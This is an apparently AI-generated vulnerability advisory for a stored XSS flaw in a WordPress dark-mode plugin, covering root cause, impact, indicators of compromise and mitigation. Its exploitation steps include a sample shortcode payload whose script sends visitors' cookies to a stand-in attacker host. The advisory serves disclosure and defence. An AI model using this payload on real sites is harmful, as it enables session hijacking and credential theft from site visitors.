CVE-2026-1886: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1886 is a Stored Cross-Site Scripting (XSS) vulnerability in the Go Night Pro | WordPress Dark Mode Plugin for WordPress. It affects all versions up to and including 1.1.0, and was disclosed on March 21, 2026, with the CVE assigned by Wordfence. The flaw allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts via the unsanitized margin attribute of the go-night-pro-shortcode shortcode. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically due to insufficient input sanitization and output escaping on the user-supplied margin attribute within the plugin's shortcode handler. The vulnerable code is located in admin/partials/shortcode/go-night-shortcode-display.php at lines 48 and 61, where the margin attribute value is rendered directly into the page output without proper escaping. An authenticated contributor can insert a malicious shortcode containing a crafted margin value with embedded JavaScript, which is then stored in the database and executed in the browser of any user who views the affected page (Wordfence, WordPress Plugin Trac).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any site visitor's browser session when they access a page containing the injected shortcode. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or delivery of malware to site visitors. While availability is not directly impacted, the confidentiality and integrity of user data and site content are at risk, and the attack scope extends beyond the attacker's own session (changed scope) (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1886 as of the available data. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify a WordPress site running the Go Night Pro plugin (version ≤ 1.1.0) by checking plugin metadata, readme files, or using tools like WPScan.
  2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
  3. Craft malicious shortcode: Create or edit a post/page and insert the plugin's shortcode with a malicious margin attribute, e.g., [go-night-pro-shortcode margin="1px"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish or save the content: Submit the post/page so the malicious shortcode is stored in the WordPress database.
  5. Trigger execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Plugin Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing go-night-pro-shortcode with unusual margin attribute values including HTML tags or JavaScript.
  • Database: WordPress wp_posts table entries containing go-night-pro-shortcode shortcodes with margin attributes that include <script>, onerror, onload, or other event handler patterns.
  • Network: Outbound requests from site visitors' browsers to unexpected external domains shortly after loading pages containing the go-night-pro-shortcode shortcode.
  • File System: No file-based IOCs expected for this stored XSS, as the payload resides in the database rather than the file system.

Mitigation and workarounds

Site administrators should immediately deactivate and remove the Go Night Pro plugin (versions ≤ 1.1.0) if no patched version is available. Review all posts and pages for malicious go-night-pro-shortcode shortcode usage and sanitize or remove any suspicious content. As a workaround, restrict contributor-level user registrations and audit existing contributor accounts. Monitor the WordPress plugin repository for an updated version that addresses this vulnerability (Wordfence).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management